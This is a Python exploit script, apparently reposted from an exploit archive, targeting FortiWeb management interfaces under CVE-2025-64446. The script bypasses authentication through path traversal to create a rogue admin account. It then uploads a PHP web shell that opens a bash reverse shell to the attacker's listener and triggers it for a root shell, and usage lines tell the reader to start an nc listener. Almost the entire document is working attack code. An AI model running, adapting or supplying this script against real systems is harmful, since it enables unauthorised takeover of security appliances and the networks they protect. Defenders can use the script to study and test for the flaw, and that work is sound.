Share
## https://sploitus.com/exploit?id=PACKETSTORM:218665
# Exploit Title: FortiWeb  8.0.2 - Remote Code Execution
    # Date: 2025-11-22
    # Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # Vendor Homepage: https://www.fortinet.com
    # Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
    # Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2
    # Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds)
    # CVE: CVE-2025-64446
    # CVSS: 9.8 (Critical)
    # Category: WebApps
    # Platform: Hardware/Appliance (Linux-based)
    # CRITICAL: True
    # Including: Authentication Bypass + Path Traversal + Arbitrary File Upload โ†’ RCE
    # Impact: Full system compromise, root reverse shell
    # Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later
    # Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446
    # Patch: https://support.fortinet.com
    # Target: FortiWeb management interface (default port 8443)
    
    import requests, sys, time, base64
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    def banner():
        print("""
        CVE-2025-64446 FortiWeb RCE Exploit
        Author: Mohammed Idrees Banyamer | @banyamer_security
        LAB / AUTHORIZED TESTING ONLY
        """)
    
    if len(sys.argv) != 4:
        banner()
        print("Usage  : python3 fortiweb_rce.py <target> <lhost> <lport>")
        print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
        print("\nSteps:")
        print("  1. Start listener   โ†’ nc -lvnp 4444")
        print("  2. Run exploit      โ†’ python3 fortiweb_rce.py <target> <your_ip> 4444")
        print("  3. Get root shell   โ†’ enjoy\n")
        sys.exit(1)
    
    banner()
    target = sys.argv[1].rstrip("/")
    LHOST  = sys.argv[2]
    LPORT  = sys.argv[3]
    
    print(f"[*] Target : {target}")
    print(f"[*] Callback : {LHOST}:{LPORT}\n")
    
    s = requests.Session()
    s.verify = False
    s.headers = {"Content-Type": "application/json"}
    
    print("[1] Creating temporary admin user...")
    payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"}
    r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10)
    if r.status_code != 200 or "success" not in r.text:
        print("[-] Failed to create admin โ†’ Target is likely patched")
        return
    
    print("[2] Logging in with new admin...")
    login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10)
    if "success" not in login.text:
        print("[-] Login failed")
        return
    
    shell = f'<?php system("bash -c \'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>'
    b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="
    
    print("[3] Uploading webshell via backup function...")
    files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')}
    s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15)
    
    print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...")
    s.get(f"{target}/pwned.dat", timeout=10)
    
    time.sleep(8)
    print("[5] Cleaning up temporary admin account...")
    s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"})
    
    print("\n[+] Exploit completed โ€“ check your listener for root shell!")